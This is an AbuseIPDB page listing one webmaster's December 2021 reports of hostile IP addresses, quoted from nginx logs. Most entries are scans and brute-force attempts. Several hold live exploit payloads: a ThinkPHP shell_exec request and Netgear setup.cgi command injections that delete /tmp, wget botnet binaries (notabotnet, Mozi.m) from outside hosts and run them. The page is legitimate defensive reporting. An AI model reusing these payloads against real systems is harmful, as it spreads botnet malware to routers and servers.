AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User GFVAAServicesLtd , the webmaster of gfvaa.com, joined AbuseIPDB in March 2020 and has reported 6,098 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇨🇭 179.43.175.101	16 Dec 2021	2021/12/16 07:07:26 [error] 745#745: 24 user "admin" was not found in "/etc/nginx/.htpasswd", clien ... show more 2021/12/16 07:07:26 [error] 745#745: 24 user "admin" was not found in "/etc/nginx/.htpasswd", client: 179.43.175.101, server: , request: "GET /zhnping.html HTTP/1.1", host: "81.154.243.52:80", referrer: "http:// 81.154.243.52:80/menu.html" 2021/12/16 07:07:26 [error] 745#745: 24 user "admin" was not found in "/etc/nginx/.htpasswd", client: 179.43.175.101, server: , request: "GET /zhnping.html HTTP/1.1", host: "81.154.243.52:80", referrer: "http:// 81.154.243.52:80/menu.html" 2021/12/16 07:07:27 [error] 745#745: 25 user "admin" was not found in "/etc/nginx/.htpasswd", client: 179.43.175.101, server: , request: "GET /zhnping.html HTTP/1.1", host: "81.154.243.52:80", referrer: "http:// 81.154.243.52:80/menu.html" 2021/12/16 07:07:27 [error] 745#745: *25 user "admin" was not found in "/etc/nginx/.htpasswd", client: 179.43.175.101, server: , request: "GET /zhnping.html HTTP/1.1", host: "81.154.243.52:80", referrer: "http:// 81.154.243.52:80/menu.html" ... show less	Brute-Force
🇸🇬 178.128.82.148	15 Dec 2021	178.128.82.148 - - [16/Dec/2021:01:16:40 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5. ... show more 178.128.82.148 - - [16/Dec/2021:01:16:40 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇱🇺 107.189.29.181	15 Dec 2021	2021/12/15 22:46:37 [error] 2946#2946: 117 user "root" was not found in "/etc/nginx/.htpasswd", cli ... show more 2021/12/15 22:46:37 [error] 2946#2946: 117 user "root" was not found in "/etc/nginx/.htpasswd", client: 107.189.29.181, server: , request: "GET / HTTP/1.1", host: "81.154.243.52:80" 2021/12/15 22:46:37 [error] 2946#2946: 117 user "root" was not found in "/etc/nginx/.htpasswd", client: 107.189.29.181, server: , request: "GET / HTTP/1.1", host: "81.154.243.52:80" 2021/12/15 22:46:37 [error] 2946#2946: 118 user "root" was not found in "/etc/nginx/.htpasswd", client: 107.189.29.181, server: , request: "GET / HTTP/1.1", host: "81.154.243.52:80" 2021/12/15 22:46:37 [error] 2946#2946: *118 user "root" was not found in "/etc/nginx/.htpasswd", client: 107.189.29.181, server: , request: "GET / HTTP/1.1", host: "81.154.243.52:80" ... show less	Brute-Force
🇧🇷 20.197.180.116	15 Dec 2021	20.197.180.116 - - [15/Dec/2021:07:26:24 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin ... show more 20.197.180.116 - - [15/Dec/2021:07:26:24 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 178 "-" "python-requests/2.22.0" ... show less	Hacking Web App Attack
🇺🇸 192.241.212.113	14 Dec 2021	192.241.212.113 - - [15/Dec/2021:03:19:26 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp ... show more 192.241.212.113 - - [15/Dec/2021:03:19:26 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇹🇳 196.203.219.49	14 Dec 2021	196.203.219.49 - - [15/Dec/2021:00:22:07 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5. ... show more 196.203.219.49 - - [15/Dec/2021:00:22:07 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇺🇸 207.244.250.20	14 Dec 2021	207.244.250.20 - - [15/Dec/2021:00:21:51 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5. ... show more 207.244.250.20 - - [15/Dec/2021:00:21:51 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇦🇺 101.181.122.200	14 Dec 2021	101.181.122.200 - - [14/Dec/2021:22:32:34 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunct ... show more 101.181.122.200 - - [14/Dec/2021:22:32:34 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://45.14.226.120/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777 /tmp/.notabotnet; /tmp/.notabotnet ThinkphpRep' HTTP/1.1" 400 166 "-" "Tsunami/2.0" ... show less	Hacking Web App Attack
🇻🇳 45.119.213.225	14 Dec 2021	45.119.213.225 - - [14/Dec/2021:16:21:41 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5. ... show more 45.119.213.225 - - [14/Dec/2021:16:21:41 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇳🇱 45.134.225.25	14 Dec 2021	2021/12/14 15:58:10 [error] 771#771: 313 user "admin" was not found in "/etc/nginx/.htpasswd", clie ... show more 2021/12/14 15:58:10 [error] 771#771: 313 user "admin" was not found in "/etc/nginx/.htpasswd", client: 45.134.225.25, server: , request: "GET / HTTP/1.1", host: "81.157.69.231:80" 2021/12/14 15:58:10 [error] 771#771: 313 user "admin" was not found in "/etc/nginx/.htpasswd", client: 45.134.225.25, server: , request: "GET / HTTP/1.1", host: "81.157.69.231:80" 2021/12/14 15:58:10 [error] 771#771: 314 user "admin" was not found in "/etc/nginx/.htpasswd", client: 45.134.225.25, server: , request: "GET / HTTP/1.1", host: "81.157.69.231:80" 2021/12/14 15:58:10 [error] 771#771: *314 user "admin" was not found in "/etc/nginx/.htpasswd", client: 45.134.225.25, server: , request: "GET / HTTP/1.1", host: "81.157.69.231:80" ... show less	Brute-Force
🇨🇳 60.217.150.242	14 Dec 2021	60.217.150.242 - - [14/Dec/2021:07:21:22 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cm ... show more 60.217.150.242 - - [14/Dec/2021:07:21:22 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://60.217.150.242:53672/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇩🇿 80.246.1.193	14 Dec 2021	80.246.1.193 - - [14/Dec/2021:05:22:05 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 ... show more 80.246.1.193 - - [14/Dec/2021:05:22:05 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 80.246.1.193 - - [14/Dec/2021:05:22:06 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇨🇳 120.85.165.106	14 Dec 2021	120.85.165.106 - - [14/Dec/2021:05:15:33 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cm ... show more 120.85.165.106 - - [14/Dec/2021:05:15:33 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://120.85.165.106:34276/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇺🇸 192.241.208.88	13 Dec 2021	192.241.208.88 - - [14/Dec/2021:03:15:01 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp% ... show more 192.241.208.88 - - [14/Dec/2021:03:15:01 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇺🇸 192.241.212.131	13 Dec 2021	192.241.212.131 - - [13/Dec/2021:23:17:59 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Mo ... show more 192.241.212.131 - - [13/Dec/2021:23:17:59 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇳🇱 20.101.106.180	13 Dec 2021	20.101.106.180 - - [13/Dec/2021:22:34:10 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla/ ... show more 20.101.106.180 - - [13/Dec/2021:22:34:10 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" ... show less	Hacking Web App Attack
🇮🇳 103.73.189.211	13 Dec 2021	103.73.189.211 - - [13/Dec/2021:18:53:08 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5. ... show more 103.73.189.211 - - [13/Dec/2021:18:53:08 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇬🇧 77.68.27.144	13 Dec 2021	77.68.27.144 - - [13/Dec/2021:18:53:05 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 ... show more 77.68.27.144 - - [13/Dec/2021:18:53:05 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇫🇷 91.167.143.65	13 Dec 2021	91.167.143.65 - - [13/Dec/2021:11:45:07 +0000] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 401 ... show more 91.167.143.65 - - [13/Dec/2021:11:45:07 +0000] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" ... show less	Hacking Web App Attack
🇲🇽 187.174.136.103	13 Dec 2021	187.174.136.103 - - [13/Dec/2021:09:57:51 +0000] "GET /pma2015/index.php?lang=en HTTP/1.1" 401 590 " ... show more 187.174.136.103 - - [13/Dec/2021:09:57:51 +0000] "GET /pma2015/index.php?lang=en HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 40.125.67.32	13 Dec 2021	40.125.67.32 - - [13/Dec/2021:06:05:48 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla/5. ... show more 40.125.67.32 - - [13/Dec/2021:06:05:48 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 192.241.210.40	12 Dec 2021	192.241.210.40 - - [13/Dec/2021:03:12:49 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp% ... show more 192.241.210.40 - - [13/Dec/2021:03:12:49 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇷🇺 195.54.160.149	12 Dec 2021	195.54.160.149 - - [12/Dec/2021:22:04:45 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdi ... show more 195.54.160.149 - - [12/Dec/2021:22:04:45 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" ... show less	Hacking Web App Attack
🇵🇹 81.84.57.154	12 Dec 2021	81.84.57.154 - - [12/Dec/2021:21:38:25 +0000] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 401 590 ... show more 81.84.57.154 - - [12/Dec/2021:21:38:25 +0000] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" ... show less	Hacking Web App Attack
🇰🇪 197.248.5.23	12 Dec 2021	197.248.5.23 - - [12/Dec/2021:13:15:45 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 ... show more 197.248.5.23 - - [12/Dec/2021:13:15:45 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack